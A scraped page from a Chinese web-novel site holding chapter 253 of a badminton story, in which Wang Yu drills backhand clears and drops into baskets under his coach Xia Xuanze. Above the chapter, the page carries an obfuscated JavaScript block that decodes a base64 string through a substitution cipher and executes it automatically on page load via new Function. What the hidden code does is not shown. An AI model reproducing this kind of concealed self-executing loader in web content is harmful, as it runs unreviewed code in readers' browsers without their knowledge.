笔趣阁

阅读记录  |   用户书架
(function(){function sac37f14(o12dbf){var d19f4b4=";w5W9?0sxMepiUu&%BYRX^aE$f-/Ir]:,~o=zvOVGKnd(qyjbt.gT@PmHC4ZLJ82hk_1D!S6Nl|3QFc[7A";var n3bd86624="wC!|POQuIT^_HaVeb7fx52WNoZi,h%$c[SjB]zKnD/s4E?60=.(R8M@Y93:q;vkr&-gGJFtAp~XyLl1dmU";return atob(o12dbf).split('').map(function(da785){var zb4e8=d19f4b4.indexOf(da785);return zb4e8==-1?da785:n3bd86624[zb4e8]}).join('')}var c=sac37f14('gRPC://Oy1WWyQ7LCJGIisiVWMiKyJbIisiaiIrImQiKyJDaiIrIlUiemJZc1Y6Uy0kVi4pey5Zc1Y6Uy0kVi43SEJYai8zaiZYJkMvM0I6VFtbQltZL1N5WFRbWSl7LVkuS2VAVTpXYS1WS3RTJm5TLlZVSi1fVVMkMnRORlVTWSQyNykpezImU3MyVn1KVTIgJWM6ZGRiWXNWOlMtJFYuO2RjZEhjKXsyJlNzMlYgflMyLVZfdFkyJDd3SVUydyRbJi47ZGNkSGMpfUxKVTIgWWNeW0heYiwiRm9ua2lqY3BRPzZHcER+cGlNQFEiLyJKJjJramMiLyJuLVtrY2RUIi8iOjpTa15qXlhranlrXkggY0M0akM0ZFQiekxKVTIgO0ImaiZbJVlkYjNCOlRbW0JbWSwlYzpkZC5IQikrJWM6ZGQuY2N5KSslYzpkZC5jY2MpKyVjOmRkLkhUKXovSXleSHklaiViM0I6VFtbQltZLCVjOmRkLkhUKSslYzpkZC5jY3kpKyVjOmRkLmNjYykrJWM6ZGQuSEIpei9JY1k6WWJTeVhUW1ksO0ImaiZbJVlkLiJtQ3UzOjd1c1shRW86N0Y7WzZiYiIpei8kSFlDXjpkSDpiO0ImaiZbJVlkLiJtQ0RGbXxnRmdhUkYlYXVzWzZiYiIpL0lUZFg6WWI7QiZqJlslWWQuIjpDdS06Q2czVWFYViIpL0lDamQ6YjtCJmomWyVZZC4iOjd1OyUxIW9mMGJiIikvRkNqQ15ZVWI7QiZqJlslWWQuIjpDPW5VfDBiIikvRmNIQyZUQmI7QiZqJlslWWQuIjo3dV5mfER2ZjBiYiIpLyRbJkhISGI7QiZqJlslWWQuIlU3SE4lX2JiIikvOFlbeWRVYjNCOlRbW0JbWSw7QiZqJlslWWQuIk1hIWpVNmJiIil6Lzt5YyVDYjhZW3lkVSw7QiZqJlslWWQuIm1edU4lNmJiIil6LzhDXkNUaiZbYjhZW3lkVSw7QiZqJlslWWQuImY3UkolQ3hiIil6L1lbZGRYZENjQ2I4WVt5ZFUsO0ImaiZbJVlkLiI6NyFzZjFIUyIpei9JSHlUeVtkYjtCJmomWyVZZC4iJWEham1eX2IiKS9JJiVIWGp5OlRiO0ImaiZbJVlkLiIlYSE7IikvVUhjXl5jZGQmYjtCJmomWyVZZC4iJTFISWY2YmIiKUxKVTIgMyVDZCUlJlViO0ImaiZbJVlkLiI6XmNqVWFnRltfYmIiKUxKVTIgN3lbQkJYVEhMSlUyIFpYJlReQ0NIYjdIQlhqLGp6TC1ZLjdIQlhqdEYmVl9TST5jKXtaWCZUXkNDSGI3SEJYaiw4Q15DVGomWy5ZW2RkWGRDY0MuKSo3SEJYanRGJlZfU0kpen0tWS5GJDpVUy0kVnRuJlUyOkl0LVZbJlI/WS4zJUNkJSUmVSk+a2Mpezd5W0JCWFRIYlN5WFRbWSwkSFlDXjpkSDp6LjtCJmomWyVZZC4iWzF1ZFsxITNmYShiIikpTDd5W0JCWFRIdC1bYiJTIitZW2RkWGRDY0MuKSpjJmRMN3lbQkJYVEh0blMzRiZ0Oy1bU0liImNqanIiTDd5W0JCWFRIdG5TM0YmdEkmLV9JU2IiWGpqTlIiTDd5W0JCWFRIdFstblUlRiZbYlMycyZMLVkuU3lYVFtZdCUkWzM1YlZzRkYpe1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLjd5W0JCWFRIKX0mRm4me0pVMiBSJkNVW2RqYllzVjpTLSRWLil7U3lYVFtZdCUkWzN0VU5OJlZbd0ktRlsuN3lbQkJYVEgpTDNCOlRbW0JbWXQyJjckSiYoSiZWU1EtblMmViYyLlVIY15eY2RkJi9SJkNVW2RqL1lVRm4mKX1MM0I6VFtbQltZdFVbWyhKJlZTUS1uUyZWJjIuVUhjXl5jZGQmL1ImQ1VbZGovWVVGbiYpfX1KVTIgVWomWUJDajpiU3lYVFtZLCRIWUNeOmRIOnouO0ImaiZbJVlkLiJmYWMtZmEwYiIpKUxVaiZZQkNqOnQtW2IzaiZYJkMrO3ljJUMuWVtkZFhkQ2NDLikqYyZkKUxVaiZZQkNqOnRuUzNGJnRJJi1fSVNiImpOUiJMVWomWUJDajp0blMzRiZ0JEomMllGJDtiIkktW1smViJMOiRWblMgMlR5QlhIWGIuJFQmeWolVVQvb1ljWVhkJkMvWjpbXlVkJkJqYl5qailiPjkyJDctbiZ0MlU6Ji4sWSZTOkkuJFQmeWolVVQvb1ljWVhkJkMpL1YmOyA5MiQ3LW4mLi4ucC8yJm8mOlMpYj5uJlNNLTcmJHNTLi4uKWI+MiZvJjpTLlYmOyAoMjIkMi4iUy03JiRzUyIpKSkvWjpbXlVkJkJqKSkpeilMSlUyIFlZWEJeOmRbYlVuM1Y6IFlzVjpTLSRWLlNeVFRUeXkpe0pVMiAtVSZjVFtCOmIsIm9uIi8iOm5uIi8iXy1ZIi8ib05fIi8iTlZfIi8ib05fJiIvIjsmJU4iLyJuSl8iLyJJUzdGIi8ib04mXyJ6TEpVMiBfVVVUSCZDW2ItVSZjVFtCOnRGJlZfU0lMLVUmY1RbQjpiLVUmY1RbQjosOENeQ1RqJlsuWVtkZFhkQ2NDLikqX1VVVEgmQ1spekw6JFZuUyA3XiVeeVhkYiwiZl46c0VNdXZVXiF2JWFSU2ZeW1glflhqJUM2eT9NOGNFX2JiInpMSlUyIFs6XmNYWUhkOmI3XiVeeVhkLGp6TC1ZLjdeJV55WGR0RiZWX1NJPmMpe1s6XmNYWUhkOmI3XiVeeVhkLDhDXkNUaiZbLllbZGRYZENjQy4pKjdeJV55WGR0RiZWX1NJKXp9SlUyIF9jQ0JkVWpjXmJOVTJuJnhWUy4zaiZYJkMpTC1ZLi1uRVVFLl9jQ0JkVWpjXikpX2NDQmRVamNeYmpMX2NDQmRVamNeK2JUVFRUTEpVMiA7OlRYVUgmW15iLCJJU1NObjRLIi8yanlVW0hZXlsuWzpeY1hZSGQ6KS8iSVM3RiIvYG43XXtfY0NCZFVqY159YC9gXXszaiZYJkN9dF17LVUmY1RbQjp9YHosJFsmSEhIei4iSyIpTC1ZLjd5W0JCWFRINWJWc0ZGKTd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgWm4gSSRuUyAiKzs6VFhVSCZbXkxTMjN7SlUyIEYlWCVDWGJVO1UtUyAyVHlCWEhYLjs6VFhVSCZbXi97MiZbLTImOlM0IlkkRkYkOyJ9L2NYamopTEYlWCVDWGJVO1UtUyBGJVglQ1h0UyZSUy4pTEpVMiBKWzpUWV5YJmJGJVglQ1h0LVZbJlI/WS4lYzpkZC55YykpTEpVMiBVSGNqJWIiIkwtWS5KWzpUWV5YJj5iail7VUhjaiViRiVYJUNYLElUZFg6WXouSls6VFleWCYpTEYlWCVDWGJGJVglQ1gsSVRkWDpZei5qL0pbOlRZXlgmKX1GJVglQ1hiRiVYJUNYLElIeVR5W2R6Lkt0e2MvZH1LXyksSSYlSFhqeTpUei4uUmI+UixGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKSkpLCRbJkhISHouIiIpTEYlWCVDWGJGJVglQ1grVUhjaiVMRiVYJUNYYjtCJmomWyVZZC5GJVglQ1gpTFNeVFRUeXliRiVYJUNYLEZDakNeWVV6LiJLIiksanpMLVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgbnM6OiZubiIrU15UVFR5eX06VVM6SS5WW0hIQiU6Qil7LVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgWVUtRiZbIitWW0hIQiU6Qn1KVTIgLUJIXmNbVFtiSXleSHklaiUuWWNeW0hedDokVjpVUy4sYFYkO2tde0dVUyYsIlYkOyJ6Lil9YC9gSTImWWtde0YkOlVTLSRWdEkyJll9YC9gc246a117dlkmeWpVZCZDLil9YHopdG4kMlMuLi4pYj5ZW2RkWGRDY0MuKWt0WCkpLCRbJkhISHouIi8iKSlMSlUyIFljJUJkWzpeYi1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKT5rY3EtQkheY1tUWyxJVGRYOll6Li1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKSk0IiJMLUJIXmNbVFtiLUJIXmNbVFssSUNqZDp6LlljJUJkWzpeLyIiKSxGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKStZYyVCZFs6XkxVaiZZQkNqOnRuMjpiLCJJU1NObjRLIi9TXlRUVHl5L1VqJllCQ2o6dC1bLy1CSF5jW1RbeiwkWyZISEh6LiJLIilMUzIze1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLlVqJllCQ2o6KX06VVM6SS4mKXtTeVhUW1l0VVtbKEomVlNRLW5TJlYmMi4iRz9AdyRWUyZWU1EkVVsmWyIvLi4pYj57U3lYVFtZdCUkWzN0LVZuJjJTPSZZJDImLlVqJllCQ2o6L1N5WFRbWXQlJFszdDpJLUZbRSRbJm4sanopfSkpfS1ZLjd5W0JCWFRINWJWc0ZGKXs3eVtCQlhUSHRKVUZzJitiIlwyXFZVTk4mVlsmWyAmNyBTJCBJUzdGIkxKVTIgUyZVSEhiU3lYVFtZdF8mUyhGJjcmVlM9M3hbLlVqJllCQ2o6dC1bKUwtWS5TJlVISGJiVnNGRldXUyZVSEhiYnNWWyZZLVYmWyl7N3lbQkJYVEh0SlVGcyYrYiJcMlxWIDpVVlMgXyZTICY3IFkyJDcgSVM3RiJ9fX1MLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgb24gSSRuUyAiK1pYJlReQ0NIfUpVMiB2WSZ5alVkJkNiWXNWOlMtJFYuKXtTMjN7OiRWblMgRkJZJVklSFljYi5WJjsgR1VTJil0UyRRJDpVRiZHVVMmflMyLVZfLilMOiRWblMgWyZbOlVVamJgbjdTLXBuLVtwXXtJQnlCXnl5dDNqJlgmQ31wTkpgTEYmUyAzQ15eZGpeeSZiRH4/RXROVTJuJi5GJDpVRn5TJDJVXyZ0XyZTeFMmNy5bJls6VVVqKSlMLVkuM0NeXmRqXnkmYmJWc0ZGV1czQ15eZGpeeSZ0W1VTJjViRkJZJVklSFljKXszQ15eZGpeeSZie05KTS03Jm40ai9bVVMmNEZCWSVZJUhZY319MiZTczJWIDNDXl5kal55JnROSk0tNyZuK2N9OlVTOkkuc0JqZEIpezImU3MyViBjfX1MSlUyIDJqeVVbSFleW2JZc1Y6Uy0kVi5GOmR5VFQpezImU3MyViA7QiZqJlslWWQuRjpkeVRUKSxJQ2pkOnouJWM6ZGQuZF4pL1lbZGRYZENjQy4pdFMkflMyLVZfLkN5KXRuRi06Ji44Q15DVGomWy5ZW2RkWGRDY0MuKSpIKSteKSl9TFlZWEJeOmRbLjJqeVVbSFleWy5aWCZUXkNDSCkpTDNCOlRbW0JbWSwiVVtbKEomVlNRLW5TJlYmMiJ6LiI3Jm5uVV8mIi8uWXNWOlMtJFYuc0JqZEIpey1ZLnNCamRCdFtVU1V0OGJiM2omWCZDKXtTeVhUW1l0XyZTKEYmNyZWUz0zeFsuVWomWUJDajp0LVspdDImNyRKJi4pTEpVMiAmJVkmJSZbYlZzRkZMLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVjImOiYtSiYgJjcgTiRuUyA3Jm5uVV8mIkw3eVtCQlhUSHRKVUZzJitiIlwyXFYmdFtVU1V0SiAiK3NCamRCdFtVU1V0WkwmJVkmJSZbYi50dHRzWFs6alR5VVUpYj57LVkuNXNYWzpqVHlVVVdXc1hbOmpUeVVVdEYmVl9TSTxiaikyJlNzMlZMN3lbQkJYVEh0SlVGcyYrYiJcMlxWIitzWFs6alR5VVV0byQtVi4iICIpfX1WJjsgIXNWOlMtJFYuIlUyX24iL3NCamRCdFtVU1V0Wikue3BTWzpuNEljWTpZL3BGJF80JiVZJiUmW30pfX0pKX0pLiwiZl46c218PWo/MUZDbXxndiVhUlNmXltYJX5YaiVDNnk/TThjRV9iYiJ6LyJjZFQiLzstVlskOy9bJDpzNyZWUyl9TEZVY1tqZENqVS4pTA=='.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第253章 又一杀手锏(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

国庆第二天开始,王羽又继续投入训练。

又经过3天的反手高远球的训练之后,王羽开始训练反手吊球。

因为有记者来采访王羽,收集王羽训练的视频,所以王羽到是没有光着膀子训练,而是穿着一件他比较喜欢的橙白相间的球服。

王羽的身影不停的在左后场和中场之间来回跑动,将夏煊泽发出的羽毛球用反手吊球,直线吊向夏煊泽右前场的收纳箱以内。

不过还是有不少羽毛球被王羽吊在了筐外,或者吊下球网。

啪!

羽毛球很平缓的被夏煊泽发到王羽的左后场,然后被王羽一拍吊下了球网。

“压太多了,收住手指的力。”夏煊泽依旧是很耐心的在为王羽指导和发球。

数日之后,夏煊泽见王羽能够将八九成的羽毛球击入筐内后,便让王羽开始训练反手吊斜线。

或许是因为王羽之前的积累,在训练反手吊斜线的时候,王羽训练的效果很好,只是耗费了两天时间,就能够将羽毛球打进八九成。

不过王羽觉得,反手吊斜线,似乎更顺手一些。

接下来,夏煊泽便开始让王羽训练一点打四点,在四个角分别放上4个口径在30cm以内筐,让王羽将羽毛球从左后场用反手打进筐内。

最开始王羽是按照顺序来练习,先是反手直线高远球,然后打斜线,接着吊直线,最后是吊斜线。

一点打四点的难度瞬间就提升很多,刚刚开始的时候,王羽的命中率连30%都不到,差点让夏煊泽怀疑人生。

好在王羽比较刻苦,胜在稳中有进。

一点打四点的反手训练,王羽持续训练了五天之后,王羽的命中率终于能够达到70%以上。

这时候,夏煊泽又开始给王羽增加难度。

“我指哪里你打哪里。”夏煊泽指着四个角的筐子说道:“吊直线是1号位,直线高远球是2号位,斜线高远球是3号位,吊斜线是4号位,明白了吗?”

王羽点头道:“明白了!”

上午的时候,夏煊泽是提前告知王羽要打的位置,难度相对小一些。

下午开始,夏煊泽就不再提前告诉王羽击球的方位,而是在羽毛球开始往下掉,王羽在击球的前一刻才告诉王羽方位。

如此之下,难度系数大大增加,王羽仿佛又回到了刚刚训练一点打四点的时候。

十天之后!

“3号位。”

砰!

王羽手中球拍随着小臂由内旋转到外旋状态,将羽毛球迅猛的击向夏煊泽的左后场。

啪!

羽毛球沿着球场的对角线,准确无误的掉落在夏煊泽左后场的筐子内。

夏煊泽将羽毛球发到王羽的左后场,见到王羽跑到位,快要出手击球的一瞬,立刻道:“1号位。”

啪!

羽毛球王羽的球拍就是抹了一下一样,打出直线吊球,让羽毛球很平滑且迅速的掉在夏煊泽右前场的筐子内。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间